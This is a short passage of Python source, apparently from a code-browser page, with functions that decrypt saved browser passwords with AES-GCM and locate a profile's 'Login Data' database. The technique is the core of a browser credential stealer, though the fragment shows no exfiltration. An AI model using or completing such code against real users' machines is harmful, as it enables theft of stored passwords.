(self, buff: bytes, master_key: bytes)
| 171 | return master_key |
| 172 | |
| 173 | def decrypt_password(self, buff: bytes, master_key: bytes) -> str: |
| 174 | iv = buff[3:15] |
| 175 | payload = buff[15:] |
| 176 | cipher = AES.new(master_key, AES.MODE_GCM, iv) |
| 177 | decrypted_pass = cipher.decrypt(payload) |
| 178 | decrypted_pass = decrypted_pass[:-16].decode() |
| 179 | |
| 180 | return decrypted_pass |
| 181 | |
| 182 | def get_login_data(self, path: str, profile: str): |
| 183 | login_db = f'{path}\\{profile}\\Login Data' |
no outgoing calls
no test coverage detected